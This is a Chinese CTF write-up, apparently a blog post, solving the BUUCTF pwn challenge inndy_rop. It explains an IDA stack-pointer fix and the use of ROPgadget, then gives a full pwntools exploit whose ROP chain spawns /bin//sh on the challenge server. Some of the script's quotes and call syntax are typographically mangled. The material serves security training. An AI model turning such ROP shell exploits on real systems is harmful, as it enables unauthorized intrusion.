buuctf-pwn-inndy_rop-wp

buuctf-pwn-inndy_rop

查看文件保护

在这里插入图片描述32位程序,开启了nx保护。

拖入ida,直接f5会报错

遇到这种情况,点击ida左上角options->general后出现如下图界面后,勾选stack pointer。
在这里插入图片描述然后选中报错地址的上一行,右击,然后点击change stack pointer,出现如下图界面,然后在sp那里的值前面加一个”-“就可以了。然后再按f5.
在这里插入图片描述进行反汇编,进入main函数,只有overflow,进入overflow函数,如下图。发现溢出。但左边列表里只有静态编译的结果,所以这题无法进行常规的泄露libc之类的。
在这里插入图片描述在这里插入图片描述
直接用ROPgadget工具,可以直接利用该程序的gadget拼凑连接成rop链。

ROPgadget --binary inndy_rop --ropgadget

在终端输入后,如下图
在这里插入图片描述然后自己构造payload,偏移+ropchain

from pwn import*
from struct import pack
context(os=‘linux’,arch=‘i386’,log_level=‘debug’)
r=remote(“node4.buuoj.cn”,26710)

p=b’a’*(0x0c+0x04)
p+=pack(’<I’, 0x0806ecda) # pop edx ; ret
p+=pack(’<I’, 0x080ea060) # @ .data
p+=pack(’<I’, 0x080b8016) # pop eax ; ret
p+=’/bin’
p+=pack(’<I’, 0x0805466b) # mov dword ptr [edx], eax ; ret
p+=pack(’<I’, 0x0806ecda) # pop edx ; ret
p+=pack(’<I’, 0x080ea064) # @ .data + 4
p+=pack(’<I’, 0x080b8016) # pop eax ; ret
p+=’//sh’
p+=pack(’<I’, 0x0805466b) # mov dword ptr [edx], eax ; ret
p+=pack(’<I’, 0x0806ecda) # pop edx ; ret
p+=pack(’<I’, 0x080ea068) # @ .data + 8
p+=pack(’<I’, 0x080492d3) # xor eax, eax ; ret
p+=pack(’<I’, 0x0805466b) # mov dword ptr [edx], eax ; ret
p+=pack(’<I’, 0x080481c9) # pop ebx ; ret
p+=pack(’<I’, 0x080ea060) # @ .data
p+=pack(’<I’, 0x080de769) # pop ecx ; ret
p+=pack(’<I’, 0x080ea068) # @ .data + 8
p+=pack(’<I’, 0x0806ecda) # pop edx ; ret
p+=pack(’<I’, 0x080ea068) # @ .data + 8
p+=pack(’<I’, 0x080492d3) # xor eax, eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0806c943) # int 0x80

r.sendline§
r.interactive()

得到flag

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值